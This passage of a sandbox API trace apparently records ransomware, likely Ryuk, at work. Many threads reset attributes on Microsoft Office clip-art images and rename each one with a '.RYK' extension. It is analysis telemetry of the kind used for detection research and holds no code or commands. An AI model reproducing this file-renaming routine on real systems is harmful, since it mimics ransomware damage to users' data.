	[0248.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.504] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2731
	os_tid = 0x309c

	[0248.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP", dwFileAttributes=0x80) returned 0
	[0248.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.291] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2732
	os_tid = 0x30a0

	[0248.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG", dwFileAttributes=0x80) returned 0
	[0248.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.293] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2733
	os_tid = 0x30a4

	[0248.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG", dwFileAttributes=0x80) returned 0
	[0248.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.505] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2734
	os_tid = 0x30a8

	[0248.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP", dwFileAttributes=0x80) returned 0
	[0248.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.296] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2735
	os_tid = 0x30ac

	[0248.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP", dwFileAttributes=0x80) returned 0
	[0248.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2736
	os_tid = 0x30b0

	[0248.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG", dwFileAttributes=0x80) returned 0
	[0248.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.508] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2737
	os_tid = 0x30b4

	[0248.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP", dwFileAttributes=0x80) returned 0
	[0248.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.509] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2738
	os_tid = 0x30b8

	[0248.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP", dwFileAttributes=0x80) returned 0
	[0248.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2739
	os_tid = 0x30bc

	[0248.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG", dwFileAttributes=0x80) returned 0
	[0248.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.880] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2740
	os_tid = 0x30c0

	[0248.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP", dwFileAttributes=0x80) returned 0
	[0248.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.879] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2741
	os_tid = 0x30c4

	[0248.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP", dwFileAttributes=0x80) returned 0
	[0248.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2742
	os_tid = 0x30c8

	[0248.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP", dwFileAttributes=0x80) returned 0
	[0248.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2752
	os_tid = 0x30f8

	[0248.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP", dwFileAttributes=0x80) returned 0
	[0248.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2753
	os_tid = 0x30fc

	[0248.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP", dwFileAttributes=0x80) returned 0
	[0248.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.590] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2754
	os_tid = 0x3100

	[0248.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP", dwFileAttributes=0x80) returned 0
	[0248.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.191] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2755
	os_tid = 0x3104

	[0248.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG", dwFileAttributes=0x80) returned 0
	[0248.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.190] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.190] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2756
	os_tid = 0x3108

	[0248.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP", dwFileAttributes=0x80) returned 0
	[0248.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2757
	os_tid = 0x310c

	[0248.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP", dwFileAttributes=0x80) returned 0
	[0248.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2758
	os_tid = 0x3110

	[0248.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", dwFileAttributes=0x80) returned 0
	[0248.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2759
	os_tid = 0x3114

	[0248.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP", dwFileAttributes=0x80) returned 0
	[0248.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2760
	os_tid = 0x3118

	[0248.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG", dwFileAttributes=0x80) returned 0
	[0248.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2761
	os_tid = 0x311c

	[0248.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF", dwFileAttributes=0x80) returned 0
	[0248.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2762
	os_tid = 0x3120

	[0248.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP", dwFileAttributes=0x80) returned 0
	[0248.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2763
	os_tid = 0x3124

	[0248.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP", dwFileAttributes=0x80) returned 0
	[0248.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2764
	os_tid = 0x3128

	[0248.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF", dwFileAttributes=0x80) returned 0
	[0248.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
